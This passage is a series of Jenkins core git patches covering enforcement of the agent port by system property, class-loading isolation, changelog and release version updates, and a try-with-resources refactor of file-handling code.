b/core/src/main/java/jenkins/model/Jenkins.java @@ -1104,11 +1104,21 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve return slaveAgentPort; } + public boolean isSlaveAgentPortEnforced() { + return Jenkins.SLAVE_AGENT_PORT_ENFORCE; + } + /** * @param port * 0 to indicate random available TCP port. -1 to disable this service. */ public void setSlaveAgentPort(int port) throws IOException { + if (!SLAVE_AGENT_PORT_ENFORCE) { + forceSetSlaveAgentPort(port); + } + } + + private void forceSetSlaveAgentPort(int port) throws IOException { this.slaveAgentPort = port; launchTcpSlaveAgentListener(); } @@ -1240,7 +1250,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve } public void doAct(StaplerRequest req, StaplerResponse rsp) throws IOException { - j.setSlaveAgentPort(getExpectedPort()); + j.forceSetSlaveAgentPort(getExpectedPort()); rsp.sendRedirect2(req.getContextPath() + "/manage"); } diff --git a/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/index.groovy b/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/index.groovy index e56f86720c..f082a3fce5 100644 --- a/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/index.groovy +++ b/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/index.groovy @@ -26,8 +26,18 @@ l.layout(norefresh:true, permission:app.ADMINISTER, title:my.displayName, csscla set("descriptor", my.descriptor); f.optionalBlock( field:"useSecurity", title:_("Enable security"), checked:app.useSecurity) { - f.entry (title:_("TCP port for JNLP agents"), field:"slaveAgentPort") { - f.serverTcpPort() + f.entry(title: _("TCP port for JNLP agents"), field: "slaveAgentPort") { + if (my.slaveAgentPortEnforced) { + if (my.slaveAgentPort == -1) { + text(_("slaveAgentPortEnforcedDisabled")) + } else if (my.slaveAgentPort == 0) { + text(_("slaveAgentPortEnforcedRandom")) + } else { + text(_("slaveAgentPortEnforced", my.slaveAgentPort)) + } + } else { + f.serverTcpPort() + } } f.advanced(title: _("Agent protocols"), align:"left") { f.entry(title: _("Agent protocols")) { diff --git a/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/index.properties b/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/index.properties new file mode 100644 index 0000000000..4c959311a8 --- /dev/null +++ b/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/index.properties @@ -0,0 +1,3 @@ +slaveAgentPortEnforced=enforced to {0,number,#} on startup through system property. +slaveAgentPortEnforcedRandom=enforced to random port on startup through system property. +slaveAgentPortEnforcedDisabled=disabled on startup through system property. -- GitLab From db6a5b353d84151fc7d7044d342d1cb3e67d0167 Mon Sep 17 00:00:00 2001 From: Vincent Latombe Date: Fri, 23 Sep 2016 16:39:27 +0200 Subject: [PATCH 334/811] Add @since @restricted --- .../java/hudson/security/GlobalSecurityConfiguration.java | 8 ++++++++ core/src/main/java/jenkins/model/Jenkins.java | 3 +++ 2 files changed, 11 insertions(+) diff --git a/core/src/main/java/hudson/security/GlobalSecurityConfiguration.java b/core/src/main/java/hudson/security/GlobalSecurityConfiguration.java index a62fb49248..2ec9db5362 100644 --- a/core/src/main/java/hudson/security/GlobalSecurityConfiguration.java +++ b/core/src/main/java/hudson/security/GlobalSecurityConfiguration.java @@ -49,6 +49,9 @@ import net.sf.json.JSONArray; import net.sf.json.JSONObject; import org.jenkinsci.Symbol; +import org.kohsuke.accmod.Restricted; +import org.kohsuke.accmod.restrictions.DoNotUse; +import org.kohsuke.accmod.restrictions.NoExternalUse; import org.kohsuke.stapler.StaplerRequest; import org.kohsuke.stapler.StaplerResponse; @@ -72,6 +75,11 @@ public class GlobalSecurityConfiguration extends ManagementLink implements Descr return Jenkins.getInstance().getSlaveAgentPort(); } + /** + * @since XXX + * @return true if the slave agent port is enforced on this instance. + */ + @Restricted(DoNotUse.class) // only for index.groovy public boolean isSlaveAgentPortEnforced() { return Jenkins.getInstance().isSlaveAgentPortEnforced(); } diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index 246b833803..e47a884a79 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -1104,6 +1104,9 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve return slaveAgentPort; } + /** + * @since XXX + */ public boolean isSlaveAgentPortEnforced() { return Jenkins.SLAVE_AGENT_PORT_ENFORCE; } -- GitLab From 4c6ed07d3763c766be1076b5eeaa9d126a34177d Mon Sep 17 00:00:00 2001 From: Ted Date: Mon, 26 Sep 2016 10:16:45 +0800 Subject: [PATCH 335/811] add GuardedBy("hudson.model.Queue.lock") to setNumExecutors --- core/src/main/java/hudson/model/Computer.java | 1 + 1 file changed, 1 insertion(+) diff --git a/core/src/main/java/hudson/model/Computer.java b/core/src/main/java/hudson/model/Computer.java index 3815571fd2..d93a4d731e 100644 --- a/core/src/main/java/hudson/model/Computer.java +++ b/core/src/main/java/hudson/model/Computer.java @@ -840,6 +840,7 @@ public /*transient*/ abstract class Computer extends Actionable implements Acces * * @param number of executors */ + @GuardedBy("hudson.model.Queue.lock") private void setNumExecutors(int n) { this.numExecutors = n; final int diff = executors.size()-n; -- GitLab From d2bf5d96a7d02717df22f329ec2c375f89f976b4 Mon Sep 17 00:00:00 2001 From: Vincent Latombe Date: Mon, 26 Sep 2016 09:35:12 +0200 Subject: [PATCH 336/811] s/XXX/TODO --- .../main/java/hudson/security/GlobalSecurityConfiguration.java | 2 +- core/src/main/java/jenkins/model/Jenkins.java | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/core/src/main/java/hudson/security/GlobalSecurityConfiguration.java b/core/src/main/java/hudson/security/GlobalSecurityConfiguration.java index 2ec9db5362..a27e575ee5 100644 --- a/core/src/main/java/hudson/security/GlobalSecurityConfiguration.java +++ b/core/src/main/java/hudson/security/GlobalSecurityConfiguration.java @@ -76,7 +76,7 @@ public class GlobalSecurityConfiguration extends ManagementLink implements Descr } /** - * @since XXX + * @since TODO * @return true if the slave agent port is enforced on this instance. */ @Restricted(DoNotUse.class) // only for index.groovy diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index e47a884a79..e06552106a 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -1105,7 +1105,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve } /** - * @since XXX + * @since TODO */ public boolean isSlaveAgentPortEnforced() { return Jenkins.SLAVE_AGENT_PORT_ENFORCE; -- GitLab From 95de0b4c0f2c93dbbdc329cadcfe12c11a6c850d Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Mon, 26 Sep 2016 13:14:37 -0400 Subject: [PATCH 337/811] maven-hpi-plugin 1.120 --- pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pom.xml b/pom.xml index b1dccf504b..3dcb66ccc5 100644 --- a/pom.xml +++ b/pom.xml @@ -539,7 +539,7 @@ THE SOFTWARE. org.jenkins-ci.tools maven-hpi-plugin - 1.120-SNAPSHOT + 1.120 org.apache.maven.plugins -- GitLab From 38d14deb0c44c0be7edf1c08a3892dc75dde19d3 Mon Sep 17 00:00:00 2001 From: Vincent Latombe Date: Tue, 27 Sep 2016 13:36:45 +0200 Subject: [PATCH 338/811] [JENKINS-38187] Log a warning message in case setSlaveAgentPort is called when the port is enforced --- core/src/main/java/jenkins/model/Jenkins.java | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index e06552106a..b25fbe2cc0 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -1116,7 +1116,9 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve * 0 to indicate random available TCP port. -1 to disable this service. */ public void setSlaveAgentPort(int port) throws IOException { - if (!SLAVE_AGENT_PORT_ENFORCE) { + if (SLAVE_AGENT_PORT_ENFORCE) { + LOGGER.log(Level.WARNING, "setSlaveAgentPort({0}) call ignored because system property {1} is true", new String[] { Integer.toString(port), Jenkins.class.getName()+".slaveAgentPortEnforce" }); + } else { forceSetSlaveAgentPort(port); } } -- GitLab From 0859573721a5f1c0c225d46c898e23e683ec3550 Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Tue, 27 Sep 2016 12:55:30 +0100 Subject: [PATCH 339/811] [FIXED JENKINS-38534] Isolate the code that requires the `Jenkins` class to be loaded from an agent code path --- .../java/hudson/util/ProcessKillingVeto.java | 22 ++++++++++++++----- 1 file changed, 16 insertions(+), 6 deletions(-) diff --git a/core/src/main/java/hudson/util/ProcessKillingVeto.java b/core/src/main/java/hudson/util/ProcessKillingVeto.java index 3ae76c375d..92e5ab98f0 100644 --- a/core/src/main/java/hudson/util/ProcessKillingVeto.java +++ b/core/src/main/java/hudson/util/ProcessKillingVeto.java @@ -23,6 +23,7 @@ */ package hudson.util; +import hudson.ExtensionList; import hudson.ExtensionPoint; import hudson.util.ProcessTreeRemoting.IOSProcess; @@ -32,7 +33,7 @@ import java.util.List; import javax.annotation.CheckForNull; import javax.annotation.Nonnull; -import jenkins.model.Jenkins; +import jenkins.util.JenkinsJVM; /** * Allows extensions to veto killing processes. If at least one extension vetoes @@ -74,11 +75,20 @@ public abstract class ProcessKillingVeto implements ExtensionPoint { * list if Jenkins is not available, never null. */ public static List all() { - // check if we are a thread running on the master JVM or a thread running in a remote JVM - Jenkins jenkins = Jenkins.getInstanceOrNull(); - if (jenkins == null) - return Collections.emptyList(); // we are remote, no body gets to veto - return jenkins.getExtensionList(ProcessKillingVeto.class); + if (JenkinsJVM.isJenkinsJVM()) { + return _all(); + } + return Collections.emptyList(); + } + + /** + * As classloading is lazy, the classes referenced in this method will not be resolved + * until the first time the method is invoked, so we use this method to guard access to Jenkins JVM only classes. + * + * @return All ProcessKillingVeto extensions currently registered. + */ + private static List _all() { + return ExtensionList.lookup(ProcessKillingVeto.class); } /** -- GitLab From acd25ac65bf7870ba288dc4c4518286f36575068 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?GRILLON=20St=C3=A9phane?= Date: Wed, 28 Sep 2016 15:06:08 +0200 Subject: [PATCH 340/811] Translate "Build with Parameters" in French. MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit I translate: ParameterizedJobMixIn.build_with_parameters=Build with Parameters by: ParameterizedJobMixIn.build_with_parameters=Lancer un build avec des paramètres --- core/src/main/resources/jenkins/model/Messages_fr.properties | 1 + 1 file changed, 1 insertion(+) diff --git a/core/src/main/resources/jenkins/model/Messages_fr.properties b/core/src/main/resources/jenkins/model/Messages_fr.properties index cdc3d673e9..e7f3ca0fa7 100644 --- a/core/src/main/resources/jenkins/model/Messages_fr.properties +++ b/core/src/main/resources/jenkins/model/Messages_fr.properties @@ -48,6 +48,7 @@ Mailer.Localhost.Error=Veuillez configurer un nom d''h\u00f4te valide, au lieu d PatternProjectNamingStrategy.DisplayName=Pattern PatternProjectNamingStrategy.NamePatternRequired=Le nom de pattern est obligatoire PatternProjectNamingStrategy.NamePatternInvalidSyntax=La syntaxe de l''expression r\u00e9guli\u00e8re est invalide. +ParameterizedJobMixIn.build_with_parameters=Lancer un build avec des paramètres ParameterizedJobMixIn.build_now=Lancer un build BlockedBecauseOfBuildInProgress.shortDescription=Le build #{0} est d\u00e9j\u00e0 en cours {1} BlockedBecauseOfBuildInProgress.ETA=\ (fin pr\u00e9vue \u00e0 : {0}) -- GitLab From d7598f118fd6d9989164cd2ff7126001a6ee2ff2 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sat, 1 Oct 2016 12:13:06 +0200 Subject: [PATCH 341/811] [JENKINS-34287,JENKINS-23232] Update executable-war to 1.34 (#2565) Diff: https://github.com/jenkinsci/extras-executable-war/compare/executable-war-1.33...executable-war-1.34 * https://issues.jenkins-ci.org/browse/JENKINS-23232 * https://issues.jenkins-ci.org/browse/JENKINS-34287 --- war/pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/war/pom.xml b/war/pom.xml index 407474c3b2..31f37aeba8 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -49,7 +49,7 @@ THE SOFTWARE. org.jenkins-ci executable-war - 1.33 + 1.34 provided -- GitLab From 1689f6b7a21fc910a186e092227780c614ed7443 Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Sat, 1 Oct 2016 11:19:33 +0100 Subject: [PATCH 342/811] [FIXED JENKINS-38473] Set a short timeout on the socket when using it to wake the acceptor thread. (#2564) * [FIXED JENKINS-38473] Set a short timeout on the socket when using it to wake the acceptor thread. * [JENKINS-38473] Remove leftover typing in wrong window --- core/src/main/java/hudson/TcpSlaveAgentListener.java | 1 + 1 file changed, 1 insertion(+) diff --git a/core/src/main/java/hudson/TcpSlaveAgentListener.java b/core/src/main/java/hudson/TcpSlaveAgentListener.java index 7804d04998..6bee598966 100644 --- a/core/src/main/java/hudson/TcpSlaveAgentListener.java +++ b/core/src/main/java/hudson/TcpSlaveAgentListener.java @@ -170,6 +170,7 @@ public final class TcpSlaveAgentListener extends Thread { if (localAddress instanceof InetSocketAddress) { InetSocketAddress address = (InetSocketAddress) localAddress; Socket client = new Socket(address.getHostName(), address.getPort()); + client.setSoTimeout(1000); // waking the acceptor loop should be quick new PingAgentProtocol().connect(client); } } catch (IOException e) { -- GitLab From 393cbfd4ae44998c8aa07b378e167e6240afc80f Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sun, 2 Oct 2016 16:50:41 +0200 Subject: [PATCH 343/811] Noting #2554, #2569, #2545, #2565, #2564 --- changelog.html | 22 ++++++++++++++++++++++ 1 file changed, 22 insertions(+) diff --git a/changelog.html b/changelog.html index 691d5242b4..cc5eb0a935 100644 --- a/changelog.html +++ b/changelog.html @@ -71,6 +71,28 @@ Upcoming changes
                  • Exclude /cli URL from CSRF protection crumb requirement, making the CLI work with CSRF protection enabled and JNLP port disabled. (issue 18114) +
                  • + Prevent instatination of jenkins.model.Jenkins on agents in the ProcessKillingVeto extension point. + (issue 38534) +
                  • + Fix handling of the jenkins.model.Jenkins.slaveAgentPort system property, which was not honored. + (issue 38187, regression in 2.0) +
                  • + Add new jenkins.model.Jenkins.slaveAgentPortEnforce system property, which prevents slave agent port modification via Jenkins Web UI and form submissions. + (PR #2545) +
                  • + CLI: Disable the channel message chunking by default. + Prevents connection issues like java.io.StreamCorruptedException: invalid stream header: 0A0A0A0A. + (issue 23232) +
                  • + CLI: Connection over HTTP was not working correctly + (issue 34287, regression in 2.0) +
                  • + Decrease connection timeut when changing the JNLP agent port via Groovy system scripts. + (issue 38473) +
                  • + Added Serbian locatization. + (PR #2554)

                  What's new in 2.23 (2016/09/18)

                  -- GitLab From 8d55b1f555194be546152a972294f0a64a052da9 Mon Sep 17 00:00:00 2001 From: Vincent Latombe Date: Sun, 2 Oct 2016 09:15:56 -0700 Subject: [PATCH 344/811] [JENKINS-38651] Display actions created through TransientActionFactory in label view --- core/src/main/resources/hudson/model/Label/index.jelly | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/src/main/resources/hudson/model/Label/index.jelly b/core/src/main/resources/hudson/model/Label/index.jelly index 931d7932df..10b239fd63 100644 --- a/core/src/main/resources/hudson/model/Label/index.jelly +++ b/core/src/main/resources/hudson/model/Label/index.jelly @@ -36,7 +36,7 @@ THE SOFTWARE. - + -- GitLab From 0987e71ee7a301ceb13fd6d3cd98864a535cd7b5 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 2 Oct 2016 21:40:55 -0700 Subject: [PATCH 345/811] [maven-release-plugin] prepare release jenkins-2.24 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index af431a1bfc..b63801b32f 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.24-SNAPSHOT + 2.24 cli diff --git a/core/pom.xml b/core/pom.xml index bf7a473371..aa14736c76 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.24-SNAPSHOT + 2.24 jenkins-core diff --git a/pom.xml b/pom.xml index 96e28da457..e678f6902f 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.24-SNAPSHOT + 2.24 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-2.24 diff --git a/test/pom.xml b/test/pom.xml index f81311111e..c7e6cd6e0d 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.24-SNAPSHOT + 2.24 test diff --git a/war/pom.xml b/war/pom.xml index 31f37aeba8..989c9db9cd 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.24-SNAPSHOT + 2.24 jenkins-war -- GitLab From f4f409cd8b09c7b2117e48d1c49cd5f8e78b36b7 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 2 Oct 2016 21:40:55 -0700 Subject: [PATCH 346/811] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index b63801b32f..2faef9d133 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.24 + 2.25-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index aa14736c76..cbf454ad34 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.24 + 2.25-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index e678f6902f..2d4bbb7452 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.24 + 2.25-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.24 + HEAD diff --git a/test/pom.xml b/test/pom.xml index c7e6cd6e0d..729d0315ee 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.24 + 2.25-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index 989c9db9cd..2c6a112ec0 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.24 + 2.25-SNAPSHOT jenkins-war -- GitLab From 92c433a1e1d4c2e9f767c81c7c69124d057601b7 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 2 Oct 2016 21:48:22 -0700 Subject: [PATCH 347/811] updated changelog for release --- changelog.html | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index cc5eb0a935..4a907b669c 100644 --- a/changelog.html +++ b/changelog.html @@ -55,6 +55,11 @@ Upcoming changes +

                  What's new in 2.24 (2016/10/02)

                  • Show notification with popup on most pages when administrative monitors are active. @@ -94,7 +99,6 @@ Upcoming changes Added Serbian locatization. (PR #2554)
                  -

                  What's new in 2.23 (2016/09/18)

                  • -- GitLab From 2acecf5d7a8e88cde70e28d40e880d1ccc4bdf07 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Mon, 3 Oct 2016 10:19:56 +0200 Subject: [PATCH 348/811] Typo, reorder by type --- changelog.html | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/changelog.html b/changelog.html index 4a907b669c..fb292097d3 100644 --- a/changelog.html +++ b/changelog.html @@ -70,9 +70,18 @@ Upcoming changes
                  • Ensure exception stacktrace is shown when there's a FormException. (pull 2555) +
                  • + Add new jenkins.model.Jenkins.slaveAgentPortEnforce system property, which prevents slave agent port modification via Jenkins Web UI and form submissions. + (PR #2545)
                  • Indicate hovered table row on striped tables. (issue 32148) +
                  • + Decrease connection timeout when changing the JNLP agent port via Groovy system scripts. + (issue 38473) +
                  • + Added Serbian locatization. + (PR #2554)
                  • Exclude /cli URL from CSRF protection crumb requirement, making the CLI work with CSRF protection enabled and JNLP port disabled. (issue 18114) @@ -82,22 +91,13 @@ Upcoming changes
                  • Fix handling of the jenkins.model.Jenkins.slaveAgentPort system property, which was not honored. (issue 38187, regression in 2.0) -
                  • - Add new jenkins.model.Jenkins.slaveAgentPortEnforce system property, which prevents slave agent port modification via Jenkins Web UI and form submissions. - (PR #2545)
                  • CLI: Disable the channel message chunking by default. Prevents connection issues like java.io.StreamCorruptedException: invalid stream header: 0A0A0A0A. (issue 23232)
                  • - CLI: Connection over HTTP was not working correctly + CLI: Connection over HTTP was not working correctly. (issue 34287, regression in 2.0) -
                  • - Decrease connection timeut when changing the JNLP agent port via Groovy system scripts. - (issue 38473) -
                  • - Added Serbian locatization. - (PR #2554)

                  What's new in 2.23 (2016/09/18)

                    -- GitLab From 7b3942449516b564ede642b85b99ccc83063c8ff Mon Sep 17 00:00:00 2001 From: Nicolas De Loof Date: Fri, 30 Sep 2016 13:51:49 +0200 Subject: [PATCH 349/811] rely on try-with-resources --- .../java/hudson/cli/PrivateKeyProvider.java | 8 +- .../java/hudson/ClassicPluginStrategy.java | 17 +--- core/src/main/java/hudson/FilePath.java | 93 ++++++------------- .../java/hudson/FileSystemProvisioner.java | 7 +- core/src/main/java/hudson/PluginWrapper.java | 5 +- core/src/main/java/hudson/Util.java | 21 ++--- core/src/main/java/hudson/XmlFile.java | 35 ++----- .../hudson/cli/ClientAuthenticationCache.java | 12 +-- .../main/java/hudson/cli/ConsoleCommand.java | 9 +- .../java/hudson/cli/util/ScriptLoader.java | 5 +- .../main/java/hudson/console/ConsoleNote.java | 12 +-- .../lifecycle/WindowsServiceLifecycle.java | 7 +- .../main/java/hudson/model/AbstractItem.java | 4 +- core/src/main/java/hudson/model/Api.java | 5 +- core/src/main/java/hudson/model/Computer.java | 24 ++--- .../hudson/model/DirectoryBrowserSupport.java | 55 ++++++----- .../java/hudson/model/DownloadService.java | 10 +- core/src/main/java/hudson/model/Executor.java | 7 +- .../java/hudson/model/FileParameterValue.java | 5 +- .../src/main/java/hudson/model/LargeText.java | 40 ++++---- core/src/main/java/hudson/model/Queue.java | 5 +- core/src/main/java/hudson/model/RSS.java | 14 +-- core/src/main/java/hudson/model/Run.java | 5 +- core/src/main/java/hudson/model/Slave.java | 5 +- .../main/java/hudson/model/UpdateCenter.java | 7 +- core/src/main/java/hudson/model/View.java | 28 ++---- .../hudson/security/csrf/CrumbIssuer.java | 5 +- .../main/java/hudson/tools/JDKInstaller.java | 12 +-- .../main/java/hudson/util/BootFailure.java | 5 +- .../main/java/hudson/util/CompressedFile.java | 9 +- core/src/main/java/hudson/util/IOUtils.java | 7 +- .../main/java/hudson/util/SecretRewriter.java | 26 ++---- core/src/main/java/hudson/util/Service.java | 30 +++--- core/src/main/java/hudson/util/TextFile.java | 18 ++-- .../java/jenkins/PluginSubtypeMarker.java | 5 +- .../java/jenkins/diagnosis/HsErrPidList.java | 8 +- core/src/main/java/jenkins/model/Jenkins.java | 6 +- .../security/s2m/AdminWhitelistRule.java | 14 +-- .../jenkins/util/JSONSignatureValidator.java | 7 +- .../jenkins/util/xstream/XStreamDOMTest.java | 5 +- 40 files changed, 199 insertions(+), 403 deletions(-) diff --git a/cli/src/main/java/hudson/cli/PrivateKeyProvider.java b/cli/src/main/java/hudson/cli/PrivateKeyProvider.java index 834bb72342..5fe402afc6 100644 --- a/cli/src/main/java/hudson/cli/PrivateKeyProvider.java +++ b/cli/src/main/java/hudson/cli/PrivateKeyProvider.java @@ -127,15 +127,11 @@ public class PrivateKeyProvider { } private static String readPemFile(File f) throws IOException{ - FileInputStream is = new FileInputStream(f); - try { - DataInputStream dis = new DataInputStream(is); + try (FileInputStream is = new FileInputStream(f); + DataInputStream dis = new DataInputStream(is)) { byte[] bytes = new byte[(int) f.length()]; dis.readFully(bytes); - dis.close(); return new String(bytes); - } finally { - is.close(); } } diff --git a/core/src/main/java/hudson/ClassicPluginStrategy.java b/core/src/main/java/hudson/ClassicPluginStrategy.java index ff933347c3..792e02a0b7 100644 --- a/core/src/main/java/hudson/ClassicPluginStrategy.java +++ b/core/src/main/java/hudson/ClassicPluginStrategy.java @@ -107,11 +107,8 @@ public class ClassicPluginStrategy implements PluginStrategy { if (isLinked(archive)) { manifest = loadLinkedManifest(archive); } else { - JarFile jf = new JarFile(archive, false); - try { + try (JarFile jf = new JarFile(archive, false)) { manifest = jf.getManifest(); - } finally { - jf.close(); } } return PluginWrapper.computeShortName(manifest, archive.getName()); @@ -176,11 +173,8 @@ public class ClassicPluginStrategy implements PluginStrategy { "Plugin installation failed. No manifest at " + manifestFile); } - FileInputStream fin = new FileInputStream(manifestFile); - try { + try (FileInputStream fin = new FileInputStream(manifestFile)) { manifest = new Manifest(fin); - } finally { - fin.close(); } } @@ -646,14 +640,13 @@ public class ClassicPluginStrategy implements PluginStrategy { final long dirTime = archive.lastModified(); // this ZipOutputStream is reused and not created for each directory - final ZipOutputStream wrappedZOut = new ZipOutputStream(new NullOutputStream()) { + try (ZipOutputStream wrappedZOut = new ZipOutputStream(new NullOutputStream()) { @Override public void putNextEntry(ZipEntry ze) throws IOException { ze.setTime(dirTime+1999); // roundup super.putNextEntry(ze); } - }; - try { + }) { Zip z = new Zip() { /** * Forces the fixed timestamp for directories to make sure @@ -672,8 +665,6 @@ public class ClassicPluginStrategy implements PluginStrategy { z.setDestFile(classesJar); z.add(mapper); z.execute(); - } finally { - wrappedZOut.close(); } } diff --git a/core/src/main/java/hudson/FilePath.java b/core/src/main/java/hudson/FilePath.java index 6b2529eabe..361e907ba4 100644 --- a/core/src/main/java/hudson/FilePath.java +++ b/core/src/main/java/hudson/FilePath.java @@ -389,11 +389,8 @@ public final class FilePath implements Serializable { } public void zip(FilePath dst) throws IOException, InterruptedException { - OutputStream os = dst.write(); - try { + try (OutputStream os = dst.write()) { zip(os); - } finally { - os.close(); } } @@ -594,11 +591,8 @@ public final class FilePath implements Serializable { if (p != null) { mkdirs(p); } - InputStream input = zip.getInputStream(e); - try { + try (InputStream input = zip.getInputStream(e)) { IOUtils.copy(input, writing(f)); - } finally { - input.close(); } try { FilePath target = new FilePath(f); @@ -868,8 +862,7 @@ public final class FilePath implements Serializable { this.archive = archive; } @Override public Void invoke(File dir, VirtualChannel channel) throws IOException, InterruptedException { - InputStream in = archive.openStream(); - try { + try (InputStream in = archive.openStream()) { CountingInputStream cis = new CountingInputStream(in); try { if (archive.toExternalForm().endsWith(".zip")) { @@ -880,8 +873,6 @@ public final class FilePath implements Serializable { } catch (IOException x) { throw new IOException(String.format("Failed to unpack %s (%d bytes read)", archive, cis.getByteCount()), x); } - } finally { - in.close(); } return null; } @@ -894,11 +885,8 @@ public final class FilePath implements Serializable { * @since 1.293 */ public void copyFrom(URL url) throws IOException, InterruptedException { - InputStream in = url.openStream(); - try { + try (InputStream in = url.openStream()) { copyFrom(in); - } finally { - in.close(); } } @@ -908,11 +896,8 @@ public final class FilePath implements Serializable { * @since 1.293 */ public void copyFrom(InputStream in) throws IOException, InterruptedException { - OutputStream os = write(); - try { + try (OutputStream os = write()) { org.apache.commons.io.IOUtils.copy(in, os); - } finally { - os.close(); } } @@ -938,16 +923,9 @@ public final class FilePath implements Serializable { throw new IOException(e); } } else { - InputStream i = file.getInputStream(); - OutputStream o = write(); - try { + try (InputStream i = file.getInputStream(); + OutputStream o = write()) { org.apache.commons.io.IOUtils.copy(i,o); - } finally { - try { - o.close(); - } finally { - i.close(); - } } } } @@ -1396,11 +1374,8 @@ public final class FilePath implements Serializable { throw new IOException("Failed to create a temporary directory in "+dir,e); } - Writer w = new FileWriter(writing(f)); - try { + try (Writer w = new FileWriter(writing(f))) { w.write(contents); - } finally { - w.close(); } return f.getAbsolutePath(); @@ -1877,11 +1852,8 @@ public final class FilePath implements Serializable { * Reads this file into a string, by using the current system encoding. */ public String readToString() throws IOException, InterruptedException { - InputStream in = read(); - try { + try (InputStream in = read()) { return org.apache.commons.io.IOUtils.toString(in); - } finally { - in.close(); } } @@ -1931,11 +1903,8 @@ public final class FilePath implements Serializable { public Void invoke(File f, VirtualChannel channel) throws IOException { mkdirs(f.getParentFile()); FileOutputStream fos = new FileOutputStream(writing(f)); - Writer w = encoding != null ? new OutputStreamWriter(fos, encoding) : new OutputStreamWriter(fos); - try { + try (Writer w = encoding != null ? new OutputStreamWriter(fos, encoding) : new OutputStreamWriter(fos)) { w.write(content); - } finally { - w.close(); } return null; } @@ -2008,11 +1977,8 @@ public final class FilePath implements Serializable { */ public void copyTo(FilePath target) throws IOException, InterruptedException { try { - OutputStream out = target.write(); - try { + try (OutputStream out = target.write()) { copyTo(out); - } finally { - out.close(); } } catch (IOException e) { throw new IOException("Failed to copy 